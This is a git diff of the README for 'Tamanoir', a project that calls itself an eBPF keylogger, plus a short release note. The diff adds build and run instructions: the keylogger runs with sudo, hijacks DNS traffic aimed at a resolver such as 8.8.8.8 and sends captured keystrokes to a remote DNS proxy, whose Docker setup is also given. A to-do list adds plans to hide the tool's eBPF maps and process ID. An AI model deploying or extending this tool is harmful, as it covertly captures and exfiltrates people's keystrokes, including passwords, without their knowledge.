diff --git a/README.md b/README.md index 81784d5..c34fda4 100644 --- a/README.md +++ b/README.md @@ -1,7 +1,11 @@
-

Tamanoir

+

Tamanoir
A KeyLogger using eBPF ๐Ÿ

-

A KeyLogger using eBPF

+

+ + A large anteater of Central and South America, Myrmecophaga tridactyla + +

## ๐Ÿ’กOverview @@ -12,47 +16,59 @@
-## ๐Ÿช„ Usage +## ๐Ÿš€ Setup + +You need a Linux based OS. -### Dns Proxy +### โš’๏ธ Build from source -Make sure you have: +To build from source, make sure you have: + +- [bpf-linker](https://github.com/aya-rs/bpf-linker) installed. +- [Rust](https://www.rust-lang.org/tools/install) installed with `nightly` toolchain. -- `docker` installed. -- [just](https://github.com/casey/just) installed. +#### 1. Build ebpf program ``` -just proxy +cd tamanoir-ebpf +cargo build --release ``` -### Tamanoir +#### 2. Build user space program -Before using `Tamanoir`, make sure you have: +``` +cargo build --release +``` -- A Linux based OS. -- [bpf-linker](https://github.com/aya-rs/bpf-linker) installed. -- [just](https://github.com/casey/just) installed. -- [Rust](https://www.rust-lang.org/tools/install) installed with `nightly` toolchain. +This will produce an executable file at `target/release/tamanoir` that you can copy to a directory in your `$PATH` -1. Build `Tamanoir` from source +### ๐Ÿ“ฅ Binary release -``` -just build -``` +You can download the pre-built binaries from the [release page](https://github.com/pythops/tamanoir/releases) + +
+ +## ๐Ÿช„ Usage -2. Run +### Tamanoir ``` -just run +RUST_LOG=info sudo -E tamanoir \ + --proxy-ip \ + --hijack-ip \ + --layout ``` for example: ``` -just run 8.8.8.8 192.168.1.75 0 +RUST_LOG=info sudo -E tamanoir \ + --proxy-ip 192.168.1.75 \ + --hijack-ip 8.8.8.8 \ + --layout 0 ``` -Currenly, there is only 2 supported keyboard layouts: +Currenly, there are two supported keyboard layouts: `0` : qwerty (us) @@ -60,12 +76,34 @@ Currenly, there is only 2 supported keyboard layouts:
+### DNS Proxy + +On a remote host, make sure you have [docker](https://docs.docker.com/engine/install/) installed. + +#### 1. Build proxy image + +``` +cd proxy +docker build -t proxy . +``` + +#### 2. Run proxy + +> [!NOTE] +> Make sure port 53 is available + +``` +docker run --rm -it -p 53:53/udp -e PAYLOAD_LEN=8 proxy +``` + +
+ ## ๐Ÿ› ๏ธTODO - [ ] Automatic discovery of the configured local dns server - [ ] Automatic discovery of the keyboard layout - [ ] Rewrite the DNS proxy in Rust -- [ ] Make the `Tamanoir` stealth (Hide ebpf maps, process pid ...) +- [ ] Make `Tamanoir` stealth (hide used ebpf maps and programs, process pid ...)
diff --git a/Release.md b/Release.md new file mode 100644 index 0000000..93ef369 --- /dev/null +++ b/Release.md @@ -0,0 +1,3 @@ +## v0.1 - 2024-12-02 + +First release ๐ŸŽ‰